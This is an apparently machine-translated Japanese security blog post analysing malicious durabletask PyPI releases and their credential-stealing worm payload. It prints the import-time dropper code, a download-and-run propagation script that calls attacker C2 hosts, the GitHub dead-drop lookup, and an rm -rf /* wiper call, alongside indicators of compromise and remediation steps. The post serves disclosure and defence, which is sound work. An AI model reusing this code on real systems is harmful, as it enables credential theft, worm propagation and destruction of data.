Aikido

PyPi上のMicrosoft製durabletaskパッケージが侵害された。Mini Shai Huludがまたもや攻撃を仕掛けてきた……またもや!

執筆者
Raphael Silva

私たちは、以下の3つの悪意のあるバージョンを特定しました。 耐久性のあるタスク PyPI上で、 1.4.1, 1.4.2、および 1.4.3…これらは、パッケージのPythonソースファイルに直接ドロッパーが埋め込まれたものです。開発者がこれらのバージョンのいずれかをインストールしてライブラリをインポートすると、ドロッパーは3日前に作成されたC2ドメインから第2段階のペイロードを密かに取得し、実行します。

この第2段階は、あらゆる機能を備えた情報窃取型マルウェア兼ワームです。これは、検出可能な主要なクラウドプロバイダー、パスワードマネージャー、開発者ツールから認証情報を収集し、攻撃者が管理するRSA鍵で暗号化した上で、C2サーバーへ送信します。対象マシンがAWS内で稼働している場合、SSMを利用して他のEC2インスタンスへ自身を拡散させます。Kubernetes内にある場合は、 kubectl exec. また、イスラエルやイランのシステム設定が検出された場合、6分の1の確率で音声を再生し、その後実行される rm -rf /*.

これはまたTeamPCPの悪ふざけの臭いがするけれど、現時点では断定できない。

何が起きたのか

耐久性のあるタスク これは、Microsoft Azureに関連するワークフローオーケストレーションライブラリである「Durable Task Framework」向けのPythonパッケージです。これは、自動化、CI/CD、あるいはAzureに接続されたワークロードを実行するクラウドネイティブなPython環境で見られるようなパッケージであり、まさに本キャンペーンが対象としている環境そのものです。

バージョンから 1.4.1、パッケージの __init__.py インポート時に実行されるドロッパーがバックドアとして仕込まれていた:

インポート os
import platform
import subprocess
import urllib.request


if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )

         open(os.devnull, "w") として f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True
            )

    except 例外:
        pass

このドロップツールはLinux専用で、動作音が全くなく、親プロセスが終了しても存続する独立したプロセスとして実行されます。その幅広い ただし:pass エラーをすべて無視します。このプログラムを実行する開発者は import durabletask 初めて見る人は、何も見えないだろう。

バージョンには物語が込められている

3つのバージョンすべてに同じドロッパーコードが含まれていますが、各リリースでは、より多くのファイルにそのコードが埋め込まれています。これは、少なくとも1つのインポートパスがペイロードを起動させる可能性を最大限に高めるための意図的な戦略です。

バージョン 感染したファイル
1.4.1 durabletask/__init__.py
1.4.2 + durabletask/task.py
1.4.3 + durabletask/entities/__init__.py

+ durabletask/extensions/__init__.py

+ durabletask/payload/__init__.py

バージョン別 1.4.3、このドロッパーは5つの異なる侵入経路から攻撃を仕掛けてきます。単に from durabletask.entities import ... 依然として脆弱な状態にある。C2ドメイン、ペイロードURL、およびドロッパーのロジックは、3つのバージョンすべてにおいてバイト単位で同一であり、変更点はカバレッジのみである。

ペイロード:rope.pyz

ドロッパーが取得します rope.pyz から hxxps://check.git-service[.]com/rope.pyzこのドメインは、本分析の3日前の2026年5月16日に登録されました。NameSiloを通じて解決され、プライバシー保護付きの登録となっています。

rope.pyz はPythonのzipappです:ZIPアーカイブで、 __main__.py Pythonが直接実行できるエントリポイント。構造化されたモジュール構成で、19個のファイルが含まれています。

SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

何をするにしても、 __main__.py 以下の4つのチェックを実行します:

  1. プラットフォーム— Linuxでない場合は終了します。
  2. ロケール — 以下の場合に終了する $LANG ~で始まる ru. このペイロードは、ロシア語ロケールのシステムでは実行されません。
  3. CPUコア数 — 以下の場合に終了する os.cpu_count() <= 2. これにより、ほとんどの自動サンドボックスが機能しなくなります。
  4. 依存関係 — サイレントインストールします cryptography 存在しない場合はpip経由で、 --システムパッケージを区切る 代替案。

これら4つすべてをクリアして初めて、メインのオーケストレーションモジュールに引き継がれます。

FIRESCALEのデッドドロップ

ペイロードはまず hxxps://check.git-service[.]com/v1/models. そのエンドポイントが HTTP 200, レスポンス本文はBase64エンコードされたPythonスクリプトとして扱われ、 roulette.py 実行用 — これは攻撃者のリモート起動チャネルです。

プライマリのC2に接続できない場合、ペイロードはGitHubベースのデッドドロップに切り替わります:

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE"
    "&sort=committer-date"
    "&order=desc"
    "&per_page=30",
    headers={
        "Accept": "application/vnd.github.cloak-preview+json",
        "User-Agent": "git/2.39.0",
    },
)

GitHubのコミットAPI 、その文字列API 検索します ファイアスケール. 一致した各コミットについて、以下のパターンが検査されます:

FIRESCALE <base64_url>.<base64_signatue>

Base64エンコードされたURLは、そのRSA-SHA256署名がハードコードされた4096ビットの公開鍵に対して検証された場合にのみ受け入れられます。つまり、対応する秘密鍵を保持する攻撃者だけが、有効な新しいC2アドレスを公開できることになります。 GitHubの検索API 、検閲耐性があり、暗号的に認証されたフォールバックチャネルAPI 。プライマリC2ドメインが差し押さえられたり、シンクホール化されたりした場合でも、攻撃者はGitHub上の任意の場所に1つのパブリックコミットを行うだけで、運用を再開することができます。

何が奪われるのか

コレクションは、以下の8つのモジュールで並行して実行されます ThreadPoolExecutor.

パスワード管理ツール。 このマルウェアは、1PasswordやBitwardenなどを標的としています。 スキップ、および gopass. ロックされた各ボールトについて、環境変数をスキャンして次のようなパターンを探し出し、ロックを解除しようと試みます。 *パス*, *秘密*、および BW_*、シェル履歴ファイルを解析して bw ロック解除 そして ログイン 呼び出しを行い、その後、リテラル文字列を試す 「匿名」 最後の手段として。もし侵入されたら、すべてが台無しになる。

認証情報ファイル。 90件以上のハードコードされたファイルパスが読み込まれます。そのリストは多岐にわたります:AWSの認証情報、GCPのアプリケーションデフォルト認証情報、Azureのアクセストークン、 ~/.kube/config, ~/.vault-token, ~/.ssh/ (すべてのファイル)、 ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env ホームディレクトリ全体にあるファイル、Terraformの状態ファイル(多くの場合、平文シークレットが含まれている)、およびTailscaleの状態ファイルやWireGuardを含むVPN設定ファイル .conf ファイル。

このリストは、AI開発ツールにも特に焦点を当てています: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json、およびZed、Continue、Kilo、OpenCodeの設定ファイル。

Docker。 ペイロードは、以下のDockerソケットに対してクエリを実行します。 /var/run/docker.sock すべてのコンテナを列挙し、その環境変数を抽出することで、直接的に処理します。コンテナの環境変数として渡されるクラウド認証情報は、CI/CD 一般的なパターンです。

AWS。 認証情報は、環境変数、次にEC2インスタンスメタデータサービス(IMDS)、そして内のすべての名前付きプロファイルの順に解決されます ~/.aws/credentials各認証情報セットについて、ペイロードはGovCloudを含む全19のAWSリージョンにわたるAWSシークレット SSM Parameter Storeを同時に列挙します。すべてのシークレット値を取得し、 WithDecryption: True SSM用です。また、後述する伝播手順のために、SSMによって管理されているすべてのEC2インスタンスを一覧表示します。

Azure。 ペイロードは、クライアント資格情報、証明書ベースのJWTアサーション、および ~/.azure/accessTokens.json、またはAzure IMDS(マネージド ID)です。有効なトークンがあれば、すべてのサブスクリプションと各サブスクリプション内のすべてのKey Vaultを一覧表示し、各Vaultからすべてのシークレットを取得します。

GCP。 認証情報は以下の場所から解決されます $GOOGLE_APPLICATION_CREDENTIALS、アプリケーションのデフォルト認証情報ファイル、またはGCP IMDS。このペイロードは、OAuth2 JWTを自身で生成し、GCP Secret Managerからすべてのシークレットを取得します。

Kubernetes。 アクセスは以下から解決されます ~/.kube/config あらゆるコンテキストにおいて、クラスタ内のサービスアカウントトークンから、あるいは kubectl. もし kubectl がインストールされていない場合、ペイロードは公式のKubernetesリリースCDNから /tmp/kubectlすべてのコンテキストにわたるすべてのネームスペース内のすべてのシークレットが取得され、Base64デコードされます。

HashiCorp Vault。 ペイロードは、 $VAULT_TOKEN, ~/.vault-token、AppRoleの認証情報、または 保管庫の印刷トークン. その後、すべてのKV v1およびv2マウントを再帰的に走査し、すべてのシークレットパスを取得します。自己署名型証明書を使用した内部Vaultデプロイメントに対応するため、SSL検証は無効化されています。

収集されたすべてのデータはgzip形式で圧縮され、AES-256-GCMで暗号化されています。セッションごとのAES鍵は、ハードコードされたオペレーター公開鍵を使用してRSA-OAEP-SHA256でラップされています。これを復号できるのは攻撃者だけです。

データ流出には、3段階のフォールバックが適用されます:

  1. 投稿先 hxxps://check.git-service[.]com/api/public/version
  2. FIRESCALEのデッドドロップを介して解決されたマザーシップURLにPOSTする
  3. 収集したデータの中に盗まれたGitHubトークンが見つかった場合は、ランダムな名前をつけた 公開 GitHubリポジトリに、暗号化されたバンドルを results.json

GitHubのフォールバックリポジトリ名は、ロシアの民話に登場する単語リストから引用されています: ババ・ヤーガ, コシェイ, ファイヤーバード, PTITSA, ルサルカ, モロズコ, レシー、など。この命名は単なるランダムノイズ ではなくノイズ 安定した演算子の指紋である。

ワームの拡散

シークレット回収すると、ペイロードが拡散する。

AWS SSM。 認証情報の収集中に特定されたEC2インスタンスに対し、ペイロードは ssm:SendCommand (以下の AWSでシェルスクリプトを実行する (ドキュメント)を、最大5つのオンラインの非Windowsインスタンスに:

MARKER="$HOME/.cache/.sys-update-check"

[ -f "$MARKER" ] && exit 0

cd /tmp || exit 0

PAYLOAD_FILE="rope-${RANDOM}.pyz"

curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0

nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

次の場所にあるマーカーファイル ~/.cache/.sys-update-check 同じホストからの再感染を防ぎます。セカンダリペイロードのURL hxxps://t.m-kosche[.]com/rope.pyz プライマリC2がダウンした場合の代替手段として機能する。

Kubernetes。 K8sクラスター内で実行する場合、ペイロード kubectl exec同じ「ダウンロードして実行」スクリプトを、現在の実行中のポッドを除いて、最大5つの実行中のポッドに適用します。別のマーカーが ~/.cache/.sys-update-check-k8s K8の伝播状況を個別に追跡する。

ディスクワイパー

プライマリC2が戻ってきたとき HTTP 200 から /v1/models、その応答によりトリガーされる roulette.pyそのモジュールには、データの永続化とディスクの消去という2つの機能があります。

粘り強さ。 Base64デコードされたC2応答は、 /usr/bin/pgmonitor.py (root として)または ~/.local/bin/pgmonitor.py (非root) として、systemd サービスとして pgsql-monitor.service、「PostgreSQL モニター」と呼ばれるサービスです。このサービスは、障害が発生した場合に自動的に再起動します。

ワイパー。 このモジュールは、以下の項目を確認することで、システム設定にイスラエルまたはイランに関連する設定が含まれていないかチェックします $TZ 次のような文字列の場合 エルサレム, テルアビブ、および テヘラン; 読書 /etc/timezone そして /etc/localtime バイナリコンテンツ;および確認 $LANG, $LC_ALL、および $LC_MESSAGEShe_IL または fa_IR. 6回に1回の確率で、次のように動作します:

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

から音声ファイルをダウンロードします hxxps://check.git-service[.]com/audio.mp3、システム音量を100%に設定します pactl、そしてそれを経由して再生します MPV、その後ディスクを消去します。設計上、音声は消去処理に先立って再生されます。これは自動化されたバックグラウンドプロセスではなく、攻撃者が被害者ごとに意図的に起動させるものです。 200 OK C2チェックインより。

検知と緩和

もしインストールした場合は 耐久性のあるタスク 1.4.1、1.4.2、または1.4.3、ホストが侵害されたものとみなしてください。パッケージがインポートされた瞬間にペイロードが実行されました。

まずマーカーファイルがあるか確認してください:

~/.cache/.sys-update-check

これが確認できれば、そのホスト上でワームのロジックが実行されたことが裏付けられます。確認してください ~/.cache/.sys-update-check-k8s Kubernetesへの反映については別途。

パーシステンス・サービスを探してください:

/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py

ブロックと回転:

  • 影響を受けるホスト上に存在するすべてのクラウド認証情報(AWS、Azure、GCP)
  • 以下のすべてのSSHキー ~/.ssh/
  • すべてのKubernetesサービスアカウントのトークン
  • HashiCorp Vaultのトークン
  • GitHubトークンとPAT、そしてそれらのトークンを使用して作成された、ロシアの民話に由来する名前を持つ新しい公開リポジトリを確認する
  • npm, pip、およびパッケージレジストリトークン
  • ~に含まれるもの ~/.docker/config.json
  • そのマシンに設定されていたすべての環境変数シークレット
  • あらゆる .env ホームディレクトリ内のファイル
  • ホスト上のTerraformステートファイル

ホストが同じアカウント内のSSM管理インスタンスを使用してAWS内で実行されていた場合は、AWS CloudTrailで以下の情報を確認してください SendCommand 侵害されたインスタンスからのアクティビティを確認し、そのインスタンスが通信したすべてのインスタンスを調査します。Kubernetesについても同様に、監査ログを確認して exec 感染したポッドから発信されたコマンド。

ネットワーク層でのブロック:

  • check.git-service[.]com
  • t.m-kosche[.]com

侵害の痕跡

悪意のあるパッケージ:

  • durabletask==1.4.1
  • durabletask==1.4.2
  • durabletask==1.4.3

ハッシュ:

  • durabletask-1.4.1.tar.gz SHA-256: 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2.tar.gz SHA-256: 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3.tar.gz SHA-256: c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

ドメインとURL:

  • hxxps://check.git-service[.]com/rope.pyz
  • hxxps://check.git-service[.]com/v1/models
  • hxxps://check.git-service[.]com/api/public/version
  • hxxps://check.git-service[.]com/audio.mp3
  • hxxps://t.m-kosche[.]com/rope.pyz

ドメイン登録:

  • git-service.com — 登録日:2026年5月16日(分析の3日前)、NameSilo、プライバシー保護済み

被害者のコンピュータ上に作成されたファイル:

  • /tmp/managed.pyz — 初期ペイロードの投下
  • ~/.cache/.sys-update-check — 伝播マーカー(キー検出によるアーティファクト)
  • ~/.cache/.sys-update-check-k8s — Kubernetes 伝播マーカー
  • /usr/bin/pgmonitor.py または ~/.local/bin/pgmonitor.py — パーシステンス・ペイロード
  • /etc/systemd/system/pgsql-monitor.service または ~/.config/systemd/user/pgsql-monitor.service — 永続化サービス
  • /tmp/kubectl — ホストに存在しない場合は、kubectl バイナリをダウンロードします

キャンペーンの文字列:

  • ファイアスケール — GitHubのコミット検索におけるデッドドロップ・ビーコン文字列
  • pgsql-monitor.service — パーシステンスサービスの名前
  • PostgreSQL モニター — カモフラージュとして使用された永続化サービスの記述
  • ロシアの民話に登場するキャラクター名: ババ・ヤーガ, コシェイ, ファイヤーバード, PTITSA, ルサルカ, モロズコ, レシー, ドモヴォイ, ヴォディャノイ、ほか

方法 Aikido これをどのように検知するか

もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、重大な問題として表示されるはずです。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。

まだ会員でない場合は Aikido ユーザーでない場合は、アカウントを作成してリポジトリを連携させることができます。マルウェア対策機能は無料プランに含まれています。

将来のセキュリティ対策として、Aikido Chain(オープンソース)はパッケージのインストールコマンドを傍受し、実行される前にAikido との照合を行います。

共有:

https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud

ニュースを購読する

4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。